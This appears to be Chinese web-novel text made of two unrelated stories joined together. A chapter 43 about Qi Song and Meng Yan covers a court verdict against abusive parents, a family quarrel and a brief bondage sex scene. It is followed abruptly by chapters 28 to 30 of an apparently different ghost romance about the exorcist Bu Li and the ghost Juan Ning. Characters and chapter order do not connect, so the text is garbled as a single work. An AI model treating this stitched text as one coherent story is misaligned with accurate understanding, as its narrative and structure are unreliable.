43.第 43 章
祁宋陪着孟弃去了审讯室,但是,他没有进去,而是站在了门外。
房门隔绝了两人的谈话,祁宋低头看着手机,聊天的界面上显示的是谈粟。
弹弹弹:【我们已经到医院了,孟厌正在做检查。】
祁宋屈指打字,内容很简单。
Q:【嗯。】
谈粟看着发送过来的消息,险些被气笑。他哼哼一笑,飞速点起键盘。
弹弹弹:【你怎么那么冷漠,真不是你和我打电话时候那焦灼的样儿O.O】
Q:【回去让你休假。】
谈粟看着‘休假’俩字,眉开眼笑。
弹弹弹:【人!我一定帮你看好。】
祁宋看着那一行字,明显的感受到对方的喜悦。他就知道,假期对于谈粟来说堪比蜜罐里的糖。看来,在他回去前,孟厌能安然无恙。
想着,祁宋收回了手机,侧头看了看紧闭的门,没有打开的迹象。随即,他往后一靠,靠着墙壁微阖双眼,养神。
大约半个小时,门被推开了。
祁宋听见声音站直了身子,眨了眨眼缓解一下疲倦,而后扭身看向孟弃。他上下扫了一眼后,见人没多大事,心才落了下来。
孟弃现在的状态,最好少接触这些。
“没多大事,就是,唔,我单方面骂了她一顿吧。走吧,亮亮和诺诺该着急了。”
孟弃微微弯唇,眼里浮现出笑意,带着安抚的意味。
这是祁宋第一次看到孟弃笑。
毫无负担的笑容。
“走吧。”
祁宋抬手摸了摸孟弃的头,其实细细算来,他和孟弃只差两岁。但孟弃现在的外表看上去像是十五六的孩子,她像是停止了生长,看来身体检查要提前了。
—
在孟弃探视了孟母第二日,祁宋找的律师开始起诉孟夫孟母。因为孟厌,祁宋只能提前返回。走之前,祁宋将自己的联系方式给了孟弃,把助理留了下来。
起诉的第二日,此消息彻底在网络上传开。
祁宋早早的将三个孩子的信息保护起来,至今,还没有人扒出来。
网上舆论的压力致使法院高度重视,原本的议程缩短了时间,加之证据确凿,很快,法院做出了对两人的判罚。
判罚出来那一日,孟弃给祁宋发了消息,然后,再三犹豫下,他给孟厌打了电话。
铃声的前奏很长,孟弃心里七上八下的,握紧手机等待着。
“歪?孟弃?”
孟厌不确定的声音传来,孟弃心落了下来。
“孟厌,你、现在在哪里?”
孟厌抬头,不远处祁宋沉浸在工作里。许是察觉到他的视线,祁宋抬头,眼里带着询问,是又需要什么了吗?
孟厌读懂,而后摇摇头,朝祁宋笑了笑,表示不需要。
祁宋看了会,确定对方不需要又低下了头,加班加点处理堆积的工作。
本来工作就多,助理又被他留在了邻省,其他助理能力不够,处理起来,耗神耗力,偏偏孟厌住了院,害怕再出事,祁宋干脆带着任务守着他。
今天是孟厌住院最后一天,把孟厌接回去,下午回公司干个通宵大概能干完。
“孟厌?”
久久没有听到回复,孟弃试探性开口。
孟厌收回视线,“嗯,我现在在医院。”
“为什么在医院?”
孟弃腾得站了起来,语气有些焦灼,“孟厌,孟择国死了,苏琴也被判了无期徒刑,没有人再能束缚你了。孟厌,你……”
“我没事,意外而已,我不会寻短见的。”,孟厌打断孟弃的话,他异常平静,安抚着对面的人。
工作里的祁宋抬眸瞟了一眼,俩人的通话还在继续,祁宋分神听了一会,从孟厌的语气里来看,通话一切正常正常,于是凝神再次工作了起来。
“祝贺你,孟弃,逃了出来。”
“也祝贺你,孟厌,你可以去找你想要的自由了。”,孟弃坐回了沙发。
“不,我不用找了。”
“嗯?”
“有人在给我找了。”
此话一出,孟弃知道,他哥哥不是过得比她们好,是真的过的好。
那就好。
“孟厌,过的好就行。”
声音轻轻的,像是在呢喃。
也是孟弃对孟厌最好的祝福。
“我准备去旅行,诺诺和亮亮已经找到领养的人了,祁宋帮的忙,是两家很好的人……还有那个孩子,大抵已经死了。这也算是他的命……今天之后,我会换掉这张卡的,孟厌,再见。”
祁宋听出了话的言外之意,很奇怪,他松了一口气。
“孟弃,十五岁那年,我说的话是假的。我不讨厌你,也不恨你,你不是我的累赘。”
在他没能护住孟弃的那一刻,孟弃就不是他甩不掉的累赘了。
是他,他才是孟弃扯不开的“巨藤”,死死缠绕着孟弃,令孟弃深陷囹圄。
“知道了,你有点啰嗦,挂了。”
孟弃挂断电话,眨了眨眼,眼眶有些湿润,随后,身体卸了力靠在沙发上,抬起胳膊掩住双眼,头往后抵在沙发上,深吸了一口气。
大抵,她和孟厌的兄妹缘分到这里算是最好了的。
电话被挂断,并且还遭了嫌弃,这是孟厌没有料到的。
懵逼了一瞬,孟厌被气笑了。于是,张嘴骚扰祁宋。
“哥哥,吊瓶要空了。”
一听见孟厌喊他,祁宋下意识抬头,顺着孟厌的话看去。然后就发现,是孟厌闲的。
还有一手指那么多,哪来的要空了?
“电话打完了?”
“昂,打完了。”
“吃水果不吃?”
“不想吃。”
“玩会游戏吧。”
“不想玩,单人游戏不好玩。”
祁宋下意识接话,“那就玩双人游戏。”
一时间,寂静如鸡。
最后,孟厌笑出了声,他拍了拍床的边缘,媚眼如丝望向祁宋,十八禁的话随着红唇轻碰往外蹦着。
“医生说了,你不宜运动。”
祁宋回绝了孟厌的邀请,白日宣淫总归是不好的。
虽然,他们不少做。
“他是庸医。”
孟厌挑眉,扯了一个虚有的罪名就往医生身上安。
“是庸医,没能把你治成哑巴,看来医技也不怎么好。”
孟厌:……
—
午饭并没有在医院吃,孟厌在已经输完液后就强烈要求要出院。而祁宋也懒得去医院食堂东找西找,干脆收拾东西,带着人回家。
路上,祁宋接到了祁铮的电话。
因为手机并没有连车的蓝牙,所以,铃声响起来时,是孟厌探身帮忙
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把手机从兜里拿了出来。
期间,祁宋忍了忍孟厌胡摸的手,并没有开口,而这倒是让孟厌一直偷着乐。
孟厌接通电话,轻轻来了一句,“你爸。”
祁宋眼皮直跳,空隙间看了一眼手机屏幕,然后,孟厌就那么点了扩音键。
“……怎么不说话?”
带着责怪的话,让车里和谐的气氛顿时凝固。
“找我有什么事?”
“你,这是在外野了,怎么我也养了你二十几年……”
对面显然为此生起了气,孟厌心里翻了个白眼,然后又点了一下喇叭,顿时声音变小了。
恰好红灯,祁宋侧头,孟厌笑了笑,无声说道:“他太吵了。”
确实吵。
祁宋收回视线,并没有想要管的意思。
约莫一分钟左右,孟厌又点了喇叭,声音再次扩大。而,祁宋也启动车子。
“你抽空回来一下,你林伯父的女儿从国外回来了,最近要举办生日宴。她自小就喜欢你,这一次你参加她的生日宴正好可以确定一下关系……”
祁铮喋喋不休地说着,丝毫不知道对面听的不止一个人。
孟厌不自觉敛下眼眸,拿手机的手紧了又紧,而后遽然卸了力,抬眸看向身边的祁宋,泪汪汪的,看着很是可怜。
祁宋眉眼一冷,毫不掩饰自己的厌恶,“跟我有什么关系?”
祁铮的话被堵住,你你你半天后,他冷笑一声,开始威胁起祁宋,“是因为孟厌吗?”
“这和孟厌有什么关系?”
“没关系吗?”
祁铮兀自一笑,声音里淡去了怒意,整个人从容了不少,“你俩还真是令人作呕。”
“你又比我们好到哪里去?一晚一个床伴,情人多得堪比皇帝,爷爷生前可是最看不起你,你可比我们恶心多了,没有皇帝命,倒是有了皇帝派。”
祁宋的气都不喘的骂回去,而后,不忘警告祁铮,“你也知道我是什么德行,别动我妈,不然你的生活一定会比现在差,比如,还不完的银行贷款。”
最后一个字落下,孟厌心神意会挂断了电话。
车子平稳地行驶着,电话挂断后,四周的空气好像凝固住了。
孟厌不着痕迹瞅了瞅祁宋,然后低下头,双手交叉握在一起,几番尝试后,他开口承认自己不认为错误的错误。
“我干的。”
“猜到了。”
随着孟厌承认,心里的窝火散了不少。
“生气么,哥?”
“你觉得呢?”
“别生气,我回去让哥哥玩好不好?”
“行啊。”
意料之外,祁宋应了下来。
不过,这个意料之外显然让孟厌高兴。
—
深色系的窗帘紧闭着,遮挡着户外的光。如今已是深秋,户外时不时刮着风,凉爽不已。
但,室内仿佛炎热的夏季。
几根布条什么也遮挡不住,就那么挂在身上。孟厌双眼蒙着步,双手被禁锢着,随着祁宋的动作急促呼吸着。
“还有十秒。”
“十,九,八,七……四,三,二,一。”
声音落地,孟厌剧烈的颤抖着。神志不清的他祈求着,涎水淌下,整个人泛着红。
“别急,还有呢……”
祁宋靠近,亲了亲孟厌的眼角。
第28章【VIP】
第28章 第 28 章
“步理, 步理,醒醒!”
像是闹钟的呼喊声惹得步理心烦意乱,迷迷糊糊中, 他伸手挥了挥,然后,下一秒被痛醒。
他睁眼,身上趴着一个……鬼。
“干什么咬我。”
步理推攘着,企图从这只鬼的怀里起来。
见步理没有事,隽宁顺其所愿松开了手。步理迅速坐好,摸了摸被咬的地方, 隐约感受到痕迹,眉心蹙起,脸有点黑。
隽宁像是没有看到一般,调侃起步理, “做了什么美梦, 笑得那么开心”
“你放”
脏话说一半,被步理硬生生咽下。
不行,他不能说脏话,带坏鬼就不好了。
而且,说起来梦……
稍加一回想,那梦里所见所经历的一切, 鲜活无比,惊得步理浑身起冷汗。
“我睡了多久?”
隽宁收敛了些不正经,想了想,回答, “三天。”
“多少?三天?”
步理升起一阵后怕,若不是梦里他死了, 那么,遗忘现实的所有的他,会彻底被困在梦里。
他丝毫不怀疑梦境的可怕,毕竟回想起来,禁闭室没有出,他就已经被深深围困其中,遗忘了现实。
“如果我没有预估错的话。”
隽宁点头,他看着精神恍惚的步理,探究之色一闪而过,脸上挂上笑嘻嘻的表情,继续询问,“所以,你梦见什么了?”
步理警惕起来,狐疑望着隽宁,“你到底想知道什么?”
“没有什么,就是听见你一直在唤一个名字,我想知道,你和他发生了什么……”
隽宁还没有说完,步理直接起身,隽宁连忙说道:“先别出去,那个鬼一直找你呢,我可是好不容易找到这个破庙的。”
步理的动作一顿,也是,他打不过,虽然历经梦境了,可是没有实操,万一没有用,这一条小命真的会没有的。
不过,破庙
步理开始观察起这间破庙,说是破真的是破,一个桌子,一个掉了色的佛像,除此之外,什么都没有。
连贡品都不曾有。
不过,那个佛像有点眼熟。
步理靠近仔细观察,佛像身上系着一件红色的加沙,弯腿屈坐,一手竖起大拇指和中指交叉,另一只手平摊着放在腿上,手心朝上。
佛像悲天悯人,没有点睛。
对!
这座佛像没有点睛。
梦里,他最后埋尸之地便是这里。
若是如此,那么,这里必然是这只大鬼的老巢。
意识到这个之后,步理眉峰一凌,转身就要告诉隽宁,然而,骤然,天空作响,而后是一阵一阵响彻天地的雷声,紧接着,步理再一次被人搂住了。
腰,凉气入体。
步理侧头,瞧见左眼角的黑痣,愣住。
是梦里的……隽宁。
那位少年将军。
那一位……笨拙的少年郎。
步理彻底愣住,所经历的一切真的太过鲜活,若这只鬼真的是少年将军,那么,梦还是梦吗?
望着突如其来的鬼,隽宁收起了脸上的笑容,步理所有的反应他都看在眼里,对于梦里的另一位主角,隽宁有了猜测。
本来要诈步理的话,如今,倒是以另一种方式印证了究竟是谁让他这个仆人在梦里魂牵梦萦的。
油然而生的愤怒,让隽宁周遭的空气隐隐躁动了起来。
“步理,你不嫌冷吗?”
隽宁嗤笑,倒是挺喜欢待在别人的怀里。
步理回神,后知后觉推鬼,然后没推开,两人的距离更近了些。
“隽宁,松手!”
情急之下,步理喊道。
随后,在隽宁错愕下,大鬼松开了手。
“我说过,你是我的三郎。”
心满意足,大鬼露出了笑容。在半边脸的面具遮挡下,若有若无,带着神秘的美。
摄人心魄。
步理不自在移开了视线。
隽宁:一只骚气的鬼。
“他不是,他今年尚不足二十,如何是你的三郎”
是个屁,也不看看你还是不是人,还想找一个人成婚,做几个春秋大美梦吧。
“是吗?我与三郎相遇时他也尚不足二十……是啊,我们相遇时三郎不足二十,可是,我们经历了战争,我从万骨堆里爬出来了啊……”
从满心欢喜到万念俱灰,只在一个小数字。
大鬼呐呐自语,想不明白,下意识去找步理,他深深望着步理,满眼希冀,“三郎,你如今可真不足二十”
声音颤着,那不受控制的发抖好像抖进了步理的心里,引得步理心尖跟着一颤。
可是,他不是这只鬼要找的人,即使真的不是二十,他也要承认是二十。
“我今年尚不足二十。”
说着,步理挣脱开自己的手,往后退了一步,继而补充道,“我不是你找的三郎。”
“你看我说啥,他不是吧。”
隽宁持续输出,他扫了一眼步理的手,莫名的想要去洗手间。
为步理好好去除晦气。
“不是吗?”
“你真的不是吗?”
“你不是的话,我的三郎去哪里了?”
“明明最晚我们……”
“……”
字字句句,如泣如沥。
在步理和隽宁的注视下,他的头从发根开始变白,身上的婚服瞬间变成带血的铁衣,身上开始不断流起血,一股浓重的血腥味在空气里弥散开。
“吱呀——吱呀——”
像是老旧的机器运作起来发出的声音,起先不瞩目,随着大鬼的逐渐显形,四周的怪异声音越来越多,逐渐交叠在一起,真得步理耳膜发麻。
“步理,躲开!”
隽宁瞳孔遽然变大,脸上带着焦灼,迅速扑向步理。
此刻,步理身后已经拉满了骷颅头。步理也不淡定,从他视角看去,隽宁身后是密密麻麻的鬼魂。
各种各样的。
老人,小孩,战士……以及日本鬼子。
这里是近代战争频发地!
步理下意识去掏口袋,随手扯了几张,就往大鬼身上丢。
别悲伤了,小老弟。
我特么的小命都要被玩玩了。
“你别悲伤了!我就是你的三郎行了吧?”
步理怒吼。
大鬼抬头,他的眼球已经消失,留下一行行血泪,但是神情依旧坚韧,“不,你不是。”
隽宁:……
从来都没有如此无语过。
步理死马当活马医,把梦里学习过的,能用的全都用上。
而隽宁则是一手一个,眼神逐渐变得赤红。他的脑海里都是骷颅头扑向步理的画面,越想,动作越狠厉。
大鬼看着步理,慢慢地往后退,退至佛像处,他转身跪了下去。
步理看了看凶残的隽宁,超凡脱俗的大鬼,心里复杂无比。最后他一手拍了出去,一只飞出去。
都很好,精神状态超前!
特么的,他就是个大怨种。
一时间,局面竟诡异的僵持住了。
鬼魂、骷颅头无法靠近步理和隽宁,而隽宁和步理也无法逃跑。
但随着时间的流逝,步理渐渐感觉到力不从心。躲小鬼的空隙间,步理看了看杀得疯魔的隽宁,眼底闪过一抹担忧。
这要是再疯一个,他一个人真的应付不过来……
然而,步理并没有忧心多久。
因为多担忧的变成了现实。
……隽宁还真的疯了。
周围的鬼魂被震慑住,骷颅头零零散散洒落在地。隽宁一脚踏碎一个骷髅头,朝跪坐在佛像面前祷告的人走去。
察觉到危险,步理直接远离两只鬼。
“祷告有用吗?”
隽宁妖艳的红唇轻启,披散在肩膀的头发张扬四起,衣服自下而上开始变红,像是地上有血,血从下开始漫延,很快素白的衣袍成了血衣。
步理逃跑的动作一顿,他怔愣地看着隽宁,看着隽宁的本体。
在那一刻,他的大脑一片空白。
梦境与幻境接轨,所有的一切,像一幅幅画卷铺展开。
隽宁,是隽宁。
也是隽宁。
——少年将军。
“你怎么知道没有用?”
跪坐在地上的人睁眼眼睛,扭头望向站着的人。看到隽宁本体的那一刻,他似乎没有很大的震惊。
毫无波澜的眼神,就那么望着隽宁。
“信佛你怎么还会找不到你的三郎呢?”
出乎意料,他没有再疯魔了。
他摇了摇头,视线看向步理,许久,声音悠悠,带着点欣喜,“你,不是已经为我们找到了吗?”
话音未落,大鬼取下面具。
面具下那张与隽宁别无二致的脸就那么暴露在空气里,同样的娇矜贵气。
只不过,从眉大鬼的眉间容易地能窥探出少年郎肆意沙场的傲气,与隽宁安然书卷气截然不同。
隽宁俯瞰着大鬼,看到对方容貌那一刻,眉眼可见一皱,诡谲的红眸里多了探究之味。
“你,是谁?”
“我?”
大鬼没有动作,也没有回复隽宁的疑问。他的视线再一次落到了步理的身上。隽宁蹙眉,扭头看向步理。
步理尴尬一笑,顿时有点站立难安。
若是猜测无误,俩鬼应该合起来才是一只完整的鬼……
因是猜测,步理没有说,只是顶着两道视线沉默着。
“噗——”
大鬼忍不住笑出了声,千百年了,小病秧子终于学会惜命了……会惜命就好。
大鬼伸出了手,仰头望着虎视眈眈的隽宁,眼神示意把他的手放上来,“想知道我是谁,很简单,放上来吧。”
隽宁没有动作,但他知道这是鬼忌惮他,并且不敢触碰他。不然,也不会让他找到机会带着步理逃到这座破庙。
因此,最后隽宁将手放了上去。
大鬼的笑容深了深,最后一眼是看向步理。
鬼无泪。
有泪,皆为血泪。
大鬼的眼眶红了,也只是红了。
他怕吓到胆小鬼。
“隽宁,我是隽宁,我是你。”
声音由实变虚,一同他的身子。
最后彻底消失。
看着这一幕,步理瞳孔猛然变大,迅速跑向两人,最后,抓住了一团空气。
步理呆住,对方消失了……
他们两个果然是一个灵魂吗?
步理脑子飞速转动。
那么,此刻,隽宁应该完整了
意识到这个,步理转身就要询问。然而,却被直接抱入怀里,随后,他听到了隽宁的声音。
“浮云一别,至今上千年有余。”
“好久不见,三郎。”
轰——
好像有什么东西塌了……
第29章【VIP】
第29章 第 29 章
步理僵着身子, 半晌不敢动一下,生怕激怒了刚刚灵魂完整的大鬼,万一疯魔了, 一个他都不够隽宁撕的。
……但是,这抱的也太久了。
久到步理都觉得隽宁又死了一次。
最后,忍无可忍,步理抬手去推人。然而,手刚搭上去,抱着他的鬼直接消失。
步理惊呆了。
他什么时候能力这么强了?!
还没高兴几秒,步理面前的景物开始崩塌。眼看掉落的瓦片就要砸在他的头上, 惊恐之下抬手就要护头,却在瓦片砸上的最后一秒,一切东西全都消失。
“大师你这是怎么了?大师!”
步理回神,眼前的景物逐渐凝成实质, 他抬手挥去眼前的手, 侧头脱口而出,“没事,我能有啥事”
话语里藏不住的烦躁,步理以为自己又陷入幻境了,却没想到叫他的人是雇主的妻子。
那么,这就意味着!
他从幻境里出来了!!!
步理一时间没有绷住, 欣喜之意言于表情。女主人一时间觉得瘆得慌,不是说要做法试一试?怎么一个人愣在原地,现在还痴笑起来。
莫不是,这人是骗子
疑心一起, 女主人怎么看都觉得步理有问题。她回头一看,想要找人商量, 却没有看到一个人。
人呢?都死哪里去了?
扣工资!必须要扣工资!
女主人愤恨想着,一时没注意,步理已经走到了她儿子的床边。!!!
别动我儿!!!
也不顾羸弱的身体,女主人一个箭步冲了过去,然而还是慢了一步,符纸被贴在了他儿子身上。
“你在做什么?”
带着愤怒的质问声惊得步理手一颤,好在男孩身上的鬼婴已经被吸入符纸。
步理将符纸收回,侧头对女主人说道:“你儿子身上的婴灵我已经收走,但是吧”
他的话语一顿,女主人心顿时提了起来。
“你可还有别的亲戚”
女主人迟疑一下,紧接着摇头。步理没有说话,看着对方。最后,在步理的注视下,女主人点头,迟缓道:“乡下有个远方表妹。”
“送乡下吧。”
步理话刚一出,女主人再次激动起来,“为什么,这是我儿子!”
“那可能你过段时间就要给我送点钱。”
步理情绪稳定,看着有点疯癫的女主人,也没惯着她。一座建造在坟地上的别墅,他收了一次鬼,怎么可能就一劳永逸了呢?
“我……必须要送吗?”
“时间不早了,我和你先生的交易结束,就告辞了。”
步理没有废话,抬脚就要离开。
女主人眼疾手快扯住步理,一时间步理有些烦躁。幻境刚破不久,这别墅还异常阴冷,他此刻只想离这些鬼东西远一点。
“你这是何意”
声音冷冷的,扭头看向女主人的眼神中夹杂着不耐烦。女主人下意识松开手,想问的话转了个弯,“你之前要我准备的东西,还要吗?”
那些只是借口,步理不想待在这里的借口。
如今,事情以了结,自然没有用。
不过……
“照常准备,如果他和你们住在一起的话,下一次我来就不用麻烦了。”
话一说完,步理抬脚就走。
女主人望着步理离开的背影,浑身力气顿时被抽干净,卸了力气往后一退坐到了床上。
年轻时总想挣钱,就是为了以后儿孙满堂绕膝前,如今,家破人亡也不远了。
丈夫疾病缠身,孩子一再夭折,如今,唯一的孩子也要死在这栋别墅了啊……果真是报应。
热泪盈眶,模糊了视线。
许久,她颤颤巍巍拿出了手机,拨通了电话。
她可以死,她的丈夫也可以死,唯独她的孩子不能死。
—
走出别墅,步理感觉好多了。
只是,没人送,费了点腿。
等到走到有车的地方,步理也不管口袋里的钱多不多,直接豪气地拦下了出租车。
最后,到家时,步理口袋里的现金压根不够。窘迫之下,步理邀请出租车司机和他一起上楼取钱。司机瞧着步理,觉得对方俊秀的很,和他单身狗的女儿正好相配,于是大手一挥,免了零头,向步理要联系方式。
步理再三确定下,将自己手绘制作的名片递给了司机,并且露出一个大大的笑容,说了一句令司机尴尬无比的话,就下车走了。
那句话是——大哥好心肠,来日有需要我给你打折,也给你抹零头。
司机嘴角抽抽,看着手里的小卡片,手写的电话号和“专治专家不能治的病”并排挨着,旁边一个大大的笑容,似哭似笑,像是在嘲笑自己一样。
司机顿时觉得自己脑子也有病了。
什么玩意。
本来闺女就够抽象了。
可别再来一个。
打开窗户,卡片一扔,启动车子就飞速离开。
那架势,生怕自己被不瓜灵的东西传染上。
—
打开门,双鞋一踢,步理直奔沙发。
他享受般躺在沙发上,右腿一抬一搭,放在了沙发背上,左腿往外一拐,耷拉在地上。而后,步理长长舒了一口,来了一句——
“舒服~”
没有鬼霸占沙发就是爽。
软软的沙发回来就是爽。
自己一个人享受还是爽。
总之,爽极了。
然后,爽极了的步理躺在沙发上,慢慢地,便被睡意裹挟,不出半会细小的鼾声在屋里起起落落。
屋外的夕阳透过阳台照射进来,刚好落下了步理的身上。如画的眉目被橘黄色的光轻触着,睡着的人长睫敛下一片阴影,他的面容在落日的余晖下显得柔和而安详。
仿佛盛夏里的落日也温柔了。
时间流逝,不出半会,这一份安详,随着落日一起消匿消匿在了黑夜里。
又是梦。
步理清晰的认识到自己在做梦。
不同于上一次,这一次他好像是一抹游魂,谁也看不到,跟随着梦的主角移动。
梦中,步理被迫看着一个婴儿慢慢长大。起初,没有看出来对方是谁,然而,随着婴儿落地会走,牙牙学语,再到步入学堂,渐渐的,步理认出了这个婴儿。
他是那只大鬼心心念念的人。
对方嘴里的三郎。
步理飘向前,仗着没人能看到他。他飘来飘去,左看看右看看,最后得出一个结论。
——还真特么和他小时候一个样。
一时间,步理有点理解大鬼认错人的行为。
这让他师傅来了都得说一句:像,太像了,哪哪都像。
步理越看越觉得玄乎,瞧着圆乎乎的小脸,由内而发的喜欢,看那葡萄似的眼睛,圆溜溜的,多好看。
欣赏半天,步理决定好好陪伴这娃娃。
对于突然进入梦境这件事,他不生气了,他现在要做个记录者。
用眼睛记录这娃娃的成长。
也确实,在没出意外的情况下,步理陪伴娃娃长成了翩翩少年郎,成了山里最捣乱的小师弟。
无父无母的娃娃快要弱冠那一年,天下大乱。
山里的渡者去了一个又一个,终于,娃娃忍不住了,请缨下山。
虽天命至,理应放人下山。
然而,这一去,必定凶多吉少。
禁闭室三天,没能改变娃娃心意。
对方还是下了山。
与步理经历梦境不同的是,那家客栈没有活人,全都是死人。也因此,碰到了外出的少年将军。
匆匆一别后,再次相见是在战场。
满目疮痍之中,去而往返的少年将军遇到了意想不到的人。
素白色的衣袍,就那么躺在了尸体堆。
……睡着了。
少年将军忍不住露出了笑容,弯腰抱起人回了军营。
后来啊。
步理亲眼看着两人越走越近,那关系超越朋友,却不似知己。
弱冠那一日。
少年将军送了青翠色的镯子。
步理看着,镯子到了娃娃的手腕上。
青绿色的镯子衬得肌肤更加白皙,嫣红的耳垂说明了一切。
步理愣住,久久没有答案的问题迎刃而解。
这时,太阳从云层里出来了,暖洋洋的光笼罩着树下的两人。
步理瞧着。
树下的娃娃抬眸,像是无意地一瞥,却直直撞入步理的灵魂。
他,是能被看见的?
步理缓缓升起一个疑问。
最终,在对方无声的唇语里得到了印证。
——该回去了。
步理依稀辨认清楚,还没有做出什么反应下一秒,灵魂感受到一股强大的吸力。
再然后,现实里,他睁开了眼睛。
“你在干什么?”
睡得太久了,嗓子哑哑的。而那带着点沙沙磁性的音,引来了一个满是情意的吻。
趴在步理面前的鬼吻了上去。
很冷。
这是步理的直观感受。
再然后就是,阳气又少了点。
好像。
时间不久,在步理发飙前,他被松开了。
“你干什么呢?”
又问了一遍。
“亲你。”
隽宁很实诚回答。
步理:……
这么直观的现象,我会看不出来吗?
隽宁知晓步理此刻心情不美妙,但是,他有一个更重要的事要做。隽宁将费力找回来手镯拿了出来,随后往步理的左手戴去。
“哎,干嘛呢?干嘛?”
步理挡住隽宁的动作。
“你的东西我找回来了。”
隽宁视线移回步理身上。
步理张嘴要反驳,但是,想起那两个梦,最后,无从反驳。
这些似乎都是他前世的记忆。
但,他真的还要和前世的人纠缠不清吗?
步理走神间,隽宁扯开挡着的手,将镯子给步理戴上。
感受到冰凉之意,步理回神已经来不及了。
不是,他就这么水灵灵把自己卖了?
步理欲哭无泪,也有点生气。他扯了扯镯子,没能扯下来,更生气。
于是,口不择拦下,步理十分生气说道:“那不是我的,我不是你们要找的步理,我今年才二十四岁,不是上千岁!”
“嗯。”
隽宁应道,安抚着步理,“这是你的东西,虽然是我送的,但已经成为你的了。”
之前,玉镯长期跟着步理,步理又是渡者,久而久之就有了养身静心的作用。没有记忆这段时间,他和步理相处甚密,虽然步理阳气盛,但到底也有影响,玉镯对他有好处。
“我,你,竟然强买强卖!”
步理挥了挥手,起身就要回房。
隽宁瞧着生气的人,最后止步于客厅。
晚饭步理没有吃,回房就直接去床上瘫着了。他好气地看了看镯子,最后又尝试了一番,依旧没有取下来。
然后,他放弃了,脱掉外衣,抖开被子,闭眼就睡。
许是因为镯子的原因。
他知道了那些没能知道的后半部分故事。
镯子,是千年前的步理留给他和隽宁的一个希望。
能再次相逢的一个希望。
镯子陪伴着隽宁,促使了隽宁执念的分化。
而那分化出的执念,代替了隽宁留在原地。之后,记忆被执念掠夺走的隽宁懵懂下离开了。
他四处飘荡着。
最后找到了一座空坟墓。
然后,他就那么住了下来。
直到。
他的一脚,踩醒了午休的鬼。
第30章【VIP】
第30章 第 30 章
前半夜步理一直做梦。后半夜, 室内温度降了不少后,他便没有了梦。
一直到第二日中午,步理悠悠转醒。
伸手间, 他碰到了凉凉地东西,侧头,果不其然看到了隽宁。对方睡得老好了,嘴唇微张,凝神听还有微弱的呼吸声。
步理乐出了声,鬼之所以是鬼,那就是没有人的生命体征。
而他家这只真与众不同, 还会呼吸。
“笑什么。”
因着笑声过大,吵醒了隽宁,他蹙眉,往步理那边靠近了些, 一只手直接搭在了步理的腰上。
“没什么。你为什么进来了?”
“沙发太小了。”
隽宁抿唇, 满脸的嫌弃,灵动的眼睛和昨日判若两人。
“你不去工作吗?”
工作好,能有钱,换个大一点的沙发。
步理狐疑地靠近隽宁,试探性伸了伸手,露出了翠绿色的镯子。可隽宁像是不认识一般, 将他的手往一边一推,无语至极。
“干嘛?”
我一靠!隽宁这是失忆了?
步理摇头,思绪繁杂,随意回复着隽宁, “没事没事。”
隽宁没有戳破步理炫耀的心,诚然那是一个好东西, 他应赞美一通。
但不知道为什么,就是看着那个镯子不顺眼。
至于为什么,隽宁想,或许男生戴着别扭吧。
即使,镯子在步理手腕上很合适,翠绿色仿佛衬得步理更白了。
步理没有料到隽宁能那样想,他回忆着师傅留下的手札,似乎记载过这种情况。
是什么来着
对。手札里说鬼的记忆、意识与力量息息相关,若鬼的力量弱,鬼便无记忆,飘是最弱的一类,无意识,无危害。
现在隽宁的状态,这是受伤了?
“你受伤了”,步理问。
“受伤不知道哎。”
隽宁摇头,“不过,我确实有点缺阳气。”
说起这个,隽宁眼睛滴溜一转,眼里疑惑退去,逐渐变得坚定,满是目的性靠近步理。
步理心里警铃大作,一个激灵将人推开,掀开被子就下床。
“今天休息不开张。”
见人跑得飞快,隽宁撇嘴,又躺了回去。
哼,不称职的仆人。
离开卧室的步理,坐在沙发上,猛然想起,隽宁是能缩小的,所以,他去屋里睡只有一个可能,就是对方觊觎自己的阳气。
念及此,步理哼笑声,还挺能扯的啊。
会骗人了……
—
市场里。
步理摇头!果断地摇头!
现在的他也不管别人眼里他是不是犯病,就是不同意隽宁的提议。
“为什么不?我可以帮你赚钱。”
“你这话说过,但是没有用。”
步理再次拒绝。
虽然市场足够的乱,人足够多,但是,遇见怪人,总有人会停下来看看。眼见越来越多人看向他,步理果断抬脚就走。
隽宁想不明白他什么时候说过这话了,不过,这不是当务之急的事,当务之急是步理为什么看起来怒气冲冲。
隽宁揣测不出,更不会知道因为自己一句沙发太小,让步理想起了早上被骗的事,因此才看起来跟火药桶炸了一样。
不过这都不是问题,隽宁认为哄人嘛。
简单极了。
他看着步理离开的身影,眼睛一眯,微微勾唇,转身往后飘去。
十分有信心的隽宁,没有跟着步理回家。
随着当太阳落,步理也在家里等到了隽宁。
步理看着鬼混完的鬼,没有任何想要搭理的心思。随着隽宁框框掏出一只又一只鬼后,他彻底心如死水了。
“你干嘛?”
“给你赚钱。”
“鬼?”
“是的?”
“我在家等了你两个小时,你去给我捉鬼了?况且,这和你赚钱有什么关系?”
“有关系的。”
步理一脸难以言说的表情,他看了看被殴打凄惨的鬼魂,嘴角无形抽抽着,一时间也不知道该心疼谁。
好惨的鬼,好惨的我。
“你不喜欢?”,隽宁问。
“你觉得我一个人能喜欢起来?”
步理反问,你这无异于你给羊送狼,给兔子送老虎,我能喜欢起来吗?
隽宁沉默,许久后嗫嚅道:“他们可以帮你捣乱,然后你可,不,我可以帮你收拾他们,然后你可以赚大钱。”
隽宁给步理的冲击太过巨大了,一时间,步理张嘴都不知道要说些什么了。
隽宁他什么时候学会的坑蒙拐骗?
简直比他还厉害。
他也就随遇而安,骗骗人,卖卖假符纸。
而隽宁直接制造机会,简直比他这个人还要像人。
一边的鬼们一个挨着一个,挤在一起瑟瑟发抖,不敢看不敢说,只想就地消失。
“不可以吗?”
隽宁又问了一遍。
步理摇头,拒绝,“不可,把他们”
说着视线移到挤成一团的鬼,步理眉心一跳,脑疼说道:“都丢出去。”
“哦。”
隽宁扭头,挤成一团的鬼们直接一窝蜂朝外飞走。
隽宁摊手,“没了,一个都没了。”
“没了就没了。”
你为什么看起来这么遗憾?
“钱也没了。”
步理感叹着,而后自我安慰,“好歹把你哄好了。”
槽点太多,步理都不知道从何反驳,最后再三严令禁止把鬼魂带回家,“别再带鬼魂回家了,否则把你丢出去。”
隽宁心里哼唧一声,面上微笑,答应很是畅快,“好哒,你做主。”
步理:……
—
第二日,依旧如此,身边有个人形空调,步理倒是没有了昨日的惊吓。他试探性问了几句话,发现隽宁的记忆依旧昨日,没有任何的恢复迹象。
默默松了一口气,下床,今日要工作。
两人的日子十分平淡,像是喝白开水一样,偶尔有些小争吵,冲淡些平静的生活。
